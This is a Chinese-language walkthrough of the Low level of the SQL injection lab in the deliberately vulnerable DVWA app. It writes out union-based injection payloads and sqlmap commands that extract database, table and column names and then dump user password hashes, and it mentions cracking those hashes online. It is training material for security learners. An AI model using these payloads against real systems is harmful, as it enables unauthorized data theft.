网络安全 DVWA通关指南 SQL Injection(SQL注入)

06-20 1562阅读

DVWA SQL Injection

文章目录

  • DVWA SQL Injection
    • Low
    • Medium
    • High
    • Impossible

      SQL注入漏洞基本原理

      Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令。

      可能导致数据泄露或数据破坏,缺乏可审计性,甚至导致完全接管主机。

      根据注入技术分类有以下五种:

      布尔型盲注:根据返回页面判断条件真假

      时间型盲注:用页面返回时间是否增加判断是否存在注入

      基于错误的注入:页面会返回错误信息

      联合查询注入:可以使用union的情况下

      堆查询注入:可以同时执行多条语句

      防御方法

      使用参数化查询。

      数据库服务器不会把参数的内容当作SQL指令的一部分来拼接执行;

      而是在数据库完成SQL指令的编译后才套用参数运行(预编译)。

      避免数据变成代码被执行,时刻分清代码和数据的界限。

      Low

      一、判断提交方式

      在User ID中输入数字1,提交后发现,在URL地址栏出现了提交的参数,由此可以判断提交方式为get方式。

      提问:get和post提交方式对SQL注入的实施有什么影响?

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      二、判断服务器处理类型(数字型或字符型)

      加单引号,提交1',出现报错信息,显示多出一个单引号,可以确定为字符型注入

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      三、判断注入点

      提交1' or 1=1#语句,结果返回了全部的内容,可以判断存在注入点

      1' or 1=1#
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      四、判断列数

      使用order by语句判断目标数据库表中的列数,依次提交1' order by 1#语句,数字从大到小,当出现报错信息后确定列数。

      1' order by 1#
      1' order by 2#
      1' order by 3# 
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      当提交1' order by 3#时出现报错信息,说明目标数据库表中的列数为2

      五、提取库名、表名、字段名、值

      1、提取库名

      依据前一步得到的列数构建注入语句,得到数据库名dvwa

      1' union select 1,database()#
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      2、提取表名

      通过注入攻击来获取名为’dvwa’的数据库中的所有表名

      1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
      //information_schema 是一个特殊的系统数据库,其中包含了所有用户创建的数据库以及这些数据库中的表的信息。tables 表提供了关于所有表的详细信息,如表名、表类型等。
      //"1,table_name"中的'1'是一个占位符,用于模拟与原始查询返回相同数量的列,以便UNION操作成功执行。
      

      当提交注入语句时,可能出现如下错误信息:

      Illegal mix of collations for operation 'UNION'
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      这是由于MySQL在执行UNION操作时遇到的不同字符集之间的冲突报错。

      解决方法:打开CMD,登录MySQL的dvwa数据库,修改first_name和last_name字段的字符集

      alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci;
      alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci;
      //将first_name和last_name字段的字符集都设置为了utf8,并指定了排序规则为utf8_general_ci
      

      修改完毕后,命令执行成功

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      3、提取字段名

      通过注入攻击获取数据库中特定表(本例中为users表)的所有字段名。

      1' union select 1,column_name from information_schema.columns where table_name='users'#
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      4、提取值

      从数据库表 users 中提取 user 和 password 字段的数据

      1' union select user,password from users#
      

      执行命令出现同样的字符编码问题,解决方法还是修改字段的字符集

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      alter table users modify user varchar(15) character set utf8 collate utf8_general_ci;
      alter table users modify password varchar(50) character set utf8 collate utf8_general_ci;
      

      执行成功得到用户和密码的数据,密码为32位小写MD5,可以通过在线工具解密

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      六、SQLmap工具使用

      sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low"
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      1、提取库名

      sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" --dbs
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      2、提取表名

      sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" -D dvwa --tables
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      3、提取字段名

      sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=265uqla8dabr5jt04llgsk4sc9; security=low" -D dvwa -T users --columns
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      4、提取值

      sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=i0ssj777jur6gqb9af6bd111tn; security=low" --batch -D dvwa -T users -C user,password --dump
      

      网络安全 DVWA通关指南 SQL Injection(SQL注入)

      七、分析后台脚本

VPS购买请点击我

文章版权声明:除非注明,否则均为主机测评原创文章,转载或复制请以超链接形式并注明出处。

目录[+]